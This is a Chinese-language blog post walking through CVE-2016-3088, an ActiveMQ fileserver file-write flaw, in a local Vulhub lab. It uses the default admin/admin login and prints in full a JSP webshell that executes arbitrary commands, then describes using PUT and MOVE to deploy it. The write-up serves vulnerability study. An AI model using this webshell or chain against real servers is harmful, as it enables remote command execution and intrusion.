ActiveMQ任意文件写入漏洞(CVE-2016-3088)

  1. 前言:
  2. 正文:

前言:

学习完Rust的Vector,想着复现一下Vulhub里面的漏洞。然后就踩到了一个坑了。= =简直MMP,原本是想着写CVE-2015-5254的复现的。可复现方法不能用了。所以emmmm….

正文:

首先我们要搭建Vulhub的环境:

Vulhub漏靶场搭建方法:

vulhub官网:http://vulhub.org/#/docs/download-vulhub/
1.安装docker,windows自己去官网下。Linux执行:sudo apt-get install docker.io
2.安装python和pip:sudo apt-get install python和suao apt-get install python-pip
3.安装docker-compose:pip install docker-compose
4.下载Vulhub:git clone https://github.com/vulhub/vulhub.git

安装好之后进入对应的漏洞文件执行:docker-compose up -d
如果出现:Couldn't connect to Docker daemon at http+xxx的问题有三个解决的方法:
1.将当前的用户加入dokcer用户组 sudo usermod -aG docker <Username>
2.在使用docker-compose附加上sudo sudo docker-compose up -d
3.设置DOCKER_HOST这一个环境变量 export DOCKER_HOST=tcp://loaclhost:4243 设置完成后重新启动docker

漏洞介绍:

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

其使用率并不高
文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

这里我的是CVE-2016-3088,所以我们要进入对应的目录:

cd /vulhub/activemq/CVE-2016-3088 

然后执行docker-compose -build 下载漏洞环境
然后在执行docker-compose up -d 启动

之后我们打开浏览器访问:

http://127.0.0.1:8161

我们可以看到如下图所示:

这个任意文件写入漏洞得要先知道WEB路径。所以我们得登陆后台
默认用户名和密码是:admin/admin,登陆进去后我们要访问

http://your-ip:8161/admin/test/systemProperties.jsp

查看ActiveMQ的绝对路径

绝对路径为:

/opt/activemq

知道绝对路径之后,我们要进行文件上传。

注:这里的shell2.txt为shell代码
shell代码如下:

<%@ page import="java.util.*,java.io.*"%> <% %> 
<HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION="">
<INPUT TYPE="text" NAME="comment"> 
<INPUT TYPE="submit" VALUE="Send"> 
</FORM> <pre> 
<%
 if ( request.getParameter( "comment" ) != null )
 {
     out.println( "Command: " + request.getParameter( "comment" ) + "<BR>" );
     Process p        = Runtime.getRuntime().exec( request.getParameter( "comment" ) );
     OutputStream os    = p.getOutputStream();
     InputStream in        = p.getInputStream();
     DataInputStream dis    = new DataInputStream( in );
     String disr        = dis.readLine();
     while ( disr != null )
     {
         out.println( disr ); disr = dis.readLine();
     }
 }
 %>
 </pre> 
 </BODY></HTML>

代码来自:https://github.com/JoyChou93/webshell/blob/master/jsp/cmd.jsp

上传:

HTTP状态码为204,即为上传成功

然后听过MOVE进行改名为jsp

然后我们访问http://127.0.0.1:8161/api,就可以看到我们上传的shell文件

执行命令如下:

ActiveMQ更多漏洞:http://www.freebuf.com/column/161188.html

转载请声明:来之422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:ActiveMQ任意文件写入漏洞(CVE-2016-3088)

本文作者:九世

发布时间:2018-07-25, 06:43:17

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/55a9538c.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录